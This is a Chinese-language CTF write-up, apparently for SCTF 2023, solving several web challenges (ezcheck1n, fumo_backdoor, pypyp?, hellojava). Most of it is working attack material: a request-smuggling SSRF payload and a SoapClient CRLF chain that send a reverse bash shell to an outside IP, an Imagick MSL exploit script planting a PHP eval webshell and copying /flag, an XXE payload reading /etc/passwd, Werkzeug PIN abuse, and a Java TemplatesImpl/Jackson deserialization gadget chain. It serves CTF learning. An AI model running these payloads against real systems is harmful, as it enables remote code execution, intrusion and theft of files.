ezcheck1n
题目
1 2 3 4 5 6 7 8 9 10
| /hint提示是
find the way to flag.Looks like there are two containers with an evil P in the configuration file of the frontend server
去寻找flag在哪
他看来有两个路由有P在配置文件中
nss的考点中有
|
后端是 Server: Apache/2.4.54 (Debian) 中间件是 Server: Apache/2.4.55 (Unix)
这就是题目提示的两个容器的意思
但是试了一下 发现不行 就没往这方面想了 没想到的最后wp里还是用它
(就是在其基础上修改一下就行了)
题目就是提示了这几点 post
指的是post.jpeg
然后就会看到下面的这个2022
(就是当时想不明白这个url有啥用。。。。。。。)
这里的url
是用来ssrf然后将flag带出到自己的vps监听端口上
payload
1
| /2023/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/2022.php%3furl%3d101.42.39.110:3389%253fa%253d
|
这里的2022.php
是猜出来的,因为题目给了是show_source(2023.php)
然后图片给的是2022,使用就是靠这里猜出来的
fumo_backdoor
题目
1
| FUMO在你的网站上留下了后门 ᗜˬᗜ,她是怎么使用这个后门的捏? ᗜˬᗜ(flag 在 /flag)
|
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php error_reporting(0); ini_set('open_basedir', __DIR__.":/tmp"); define("FUNC_LIST", get_defined_functions());
class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; public function __sleep() { if ( file_exists($this->path) && preg_match_all('/[flag]/m', $this->path) === 0 ) { readfile($this->path); } }
public function __wakeup() { $func = $this->func; if ( is_string($func) && in_array($func, FUNC_LIST["internal"]) ) { call_user_func($func); } else { $argv = $this->argv; $class = $this->class; new $class($argv); } } }
$cmd = $_REQUEST['cmd']; $data = $_REQUEST['data'];
switch ($cmd) { case 'unserialze': unserialize($data); break; case 'rm': system("rm -rf /tmp 2>/dev/null"); break; default: highlight_file(__FILE__); break; }
|
ini_set('open_basedir', __DIR__.":/tmp");
这里的代码将 open_basedir
配置选项设置为当前目录以及 /tmp
目录,因此 PHP 脚本只能访问当前目录和 /tmp
目录下的文件,无法访问其他目录。
这道题是根据这个题改的
https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
https://www.snakin.top/2022/09/09/2022CISCN%E5%86%B3%E8%B5%9B/
这里的多一嘴来讲讲这个参考的这个backdoor
ciscn决赛-2022-backdoor
稍微改了点,include变为了readdir,因此我们很难getshell。那就改变思路了。首先我们知道flag是在根目录的,但是由于open_basedir我们并没有权限去读取,因此我们需要配合imagick的msl语言特性,把flag读到/tmp目录下,然后再利用上述payload去触发__sleep,读取flag文件
首先我们需要用如下payload把flag移动到tmp目录下
先去触发phpinfo
()
1 2 3 4 5 6 7 8 9 10 11
| <?php
class fumo_backdoor { public $path = null; public $argv = null; public $func = "phpinfo"; public $class = null;
} $a = new fumo_backdoor(); echo serialize($a);
|
开启了imagick
扩展
思路
- 先进行临时文件上传 然后创建一个session_xxx文件,然后imagick初始化的时候会执行临时文件里的内容如何值就会赋给session_xxx文件
(这里会创建两个文件,一个用来存序列化的数据(这里的path必须是第二次session的名字),为了给path赋值,另一个是为了存flag)
- 第二步还是进行临时文件上传 然后还是创建一个文件(必须和第一次不同名字) 内容是将flag移到该文件中 就是移到第二步设置的文件中
- 第三步进行session_start()的开启 来触发第一次session的反序列化(为了设置path,反序列化结束后会接着会序列) 然后可以读取到flag了
因为这里的是公共容器,会容易被删除自己刚创建的session文件 所以需要python脚本
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import sys import requests import time
url = "http://47.99.77.113:18080/?cmd=unserialze"
def sleep(): time.sleep(1)
if(sys.argv[1] == "1"): r = requests.get("http://47.99.77.113:18080/?cmd=rm") print(r.text) sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"}) sleep() r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"}) sleep() r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep() r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"}) print(r.text)
sleep() r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"}) print(r.text)
|
hack.xml
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" /> <write filename="/tmp/sess_tel" /> </image>
|
lfi.xml
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="app1:/flag" /> <write filename="/tmp/FLAG" /> </image>
|
这里用那个mvg
app1
uyvy
能直接读取flag
还有一种办法就是fuzz测试来测试哪种可以用来使用
pypyp?
提示/hint
a piece of cake but hard work。per 5 min restart.
pay attention to /app/app.py
题目的页面就是这样
这里的话是先使用 PHP_SESSION_UPLOAD_PROGRESS
(后面跟的是上传内容) 来强制session start
在使用 PHP_SESSION_UPLOAD_PROGRESS
时,如果 session
没有开启,系统会自动开启一个新的 session。
1
| curl http://115.239.215.75:8081/ -H "Cookie: PHPSESSID=tel" -F 'PHP_SESSION_UPLOAD_PROGRESS=111'
|
然后交给gpt就行了
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); }
highlight_file(__FILE__);
$type = $_SESSION['type']; $properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties) && unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object->sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0], $properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/' . $properties); }
echo "this is the object: $object<br>"; ?>
|
1 2 3 4 5 6 7 8 9 10
| <!doctype html> <html> <body> <form action="http://115.239.215.75:8081/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
|
(这个来上传抓包 然后添加PHPSESSID=xxx也行)
这里的考点主要是靠原生类 ctfshow-愚人杯也考过这个考点
主要是有三个利用点
- $object->sctf();
- $object = new $type($properties[0], $properties[1]);
- $object = file_get_contents(‘http://127.0.0.1:5000/‘ . $properties);
研究了一下,发现只有中间这个有用 并且类和参数都可控 用extract来控制
(由于题目说的/app/app.py
,那么我们就得去用原生类来读取这个文件)
$object = new $type($properties[0], $properties[1]);
然后因为这里有两个参数 所以就得去找找既能读取文件,又是两个参数的原生类
刚好找到了这个类 可以使用xxe来读取文件
1 2 3 4 5 6
| <?php $class = 'SimpleXMLElement'; $evilxml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM "file:///etc/passwd">]><xxe>&file;</xxe>'; $arr = array('properties' => array($evilxml, '2'),'type'=>$class); echo serialize($arr);
|
然后去读题目给的/app/app.py
1 2 3 4 5 6 7 8
| app = Flask(__name__)
@app.route('/') def index(): return 'Hello World!'
if __name__ == '__main__': app.run(host="0.0.0.0",debug=True)
|
开了debug只有两条路 热覆盖 和 算pin
1 2 3 4
| if(is_string($properties) && unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object->sctf(); exit();
|
这里注意一下 这里会调用call
()方法
覆盖暂时没找到原生类的call方法可以覆盖写文件的,而有个原生类的call是经常用:SoapClient
可以用他的ssrf和crlf打组合拳,这样我们就可以把cookie塞
SoapClient
在ctfshow的web259有详细使用 web259
接下来我们去看一下console
1
| $object = file_get_contents('http://127.0.0.1:5000/' . $properties);
|
猜测是算pin
那么我们就可以用上面的xxe
来读取算pin
所需要的东西
所以这些得一个一个来获取
- machine_id —> 349b3354-f67f-4438-b395-4fbc01171fdd
- uuidnode ——> 02:42:ac:13:00:02 (2485378023426)
- moddir flask库下app.py的绝对路径 但是这道题没给触发页面报错来获取信息 所以我们得使用别的原生类来模糊查找
(其实不用也行 可以猜一下 找到例题来看看他的moddir
然后修改一下python版本一下一下试就行了)
/usr/lib/python3.8/site-packages/flask/app.py
这是moddir
有了这些东西之后 我们就可以直接算pin了
算出来的pin 121-260-582
由于算pin来rce需要cookie的header 所以用常规的只会输出pin码 并不会输出cookie 所以得找一个脚本能两个同时生成的
然后去通过soapclient
去访问debug界面,由于debugmode
的rce需要携带cookie,因此只有soapclient
可以做到 (其实就是ssrf加crlf)
(简单点说就是伪造http头) 不明白的可以去看上面写的 web259的链接
1 2 3 4 5 6 7 8 9 10 11
| <?php $target = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F101.42.39.110%2F3389%20%3C%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: __wzdb2a60e2b19822632a67c=1687363437|11b8517fb9fb' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>"wupco\r\n".join("\r\n",$headers),'uri'=> "aaab")); $arr=Array("properties"=>urlencode(serialize($b)),"type"=>"SimpleXMLElement"); $aaa = serialize($arr); echo $aaa; ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| POST / HTTP/1.1 Host: 115.239.215.75:8081 Content-Length: 922 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt1mG5nxqspditAqy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=1nys Connection: close
------WebKitFormBoundaryt1mG5nxqspditAqy Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
tyaoo ------WebKitFormBoundaryt1mG5nxqspditAqy Content-Disposition: form-data; name="data"
a:2:{s:10:"properties";s:643:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A205%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%2522os%2522%29.popen%28%2522bash%2520-c%2520%255C%2522bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F101.42.39.110%252F3389%2520%253C%25261%255C%2522%2522%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A92%3A%22wupco%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687363437%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";s:4:"type";s:16:"SimpleXMLElement";}
|
这吊题真难
hellojava
题目就给了一个jar包 进行反编译查看
这时jar包里的内容 还给了一个 1.jar
里面含有这个javassist 说明可以使用templatesimpl
看了一下pom.xml
发现一共给了三种依赖
- scala 2.13.7
- jackson
- hessian 4.0.4
一般来说就先对这个pom.xml
的依赖进行分析 发现scala
这个版本是存在漏洞的
找到了反序列化入口 那么关键点就是如何进入这个if判断了
这个东西要为true才行 但是如果简单的这样传值的话
{"IfInput":true,"base64Code":"AAAAAAAA"}
这样简单的传值的话是不行的
关键词搜索 Jackson注解的一个trick 发现了这篇文章就是讲这个的
使用空值就可以进行绕过了
{"":true,"base64Code":"AAAAAAAA"}
接下来就到如何进行反序列化利用了
结合这个LazyList
东西和刚开始分析的scala
漏洞的内容 可以猜测用这个反序列化来清空黑名单过滤
https://github.com/yarocher/lazylist-cve-poc 用这个代码 然后直接打就行了
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="./security/blacklist.txt false"
生成 Base64 payload
发包来打 将 security/blacklist.txt
清空
之后再使用 jackson 利用链,可以裸反序列化 RCE
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| package org.example;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.net.URI; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.Base64;
public class poc { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setFieldValue(templates, "_bytecodes", bytecodes); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); POJONode jsonNodes = new POJONode(templates); BadAttributeValueExpException exp = new BadAttributeValueExpException(11); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes);
System.out.println(serial(exp)); deserial(serial(exp)); }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
private static void Base64Encode(ByteArrayOutputStream bs){ byte[] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String(encode); System.out.println(s); System.out.println(s.length()); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
(不知道为啥 这里我只能用这种形式的poc才能弹计算器 如果用xx.class
这种形式的poc的话 是弹不出计算器的。。。。。。。)
这里注意的一点就是 新建项目的时候
**
得把BaseJsonNode
里的这个东西给注释掉
不然会报错
这其实不是预期解
预期解是打这个hessian
这条链子
官方wp是这样说的
an4er_monitor
描述
没环境 看官方wp有个思路就行了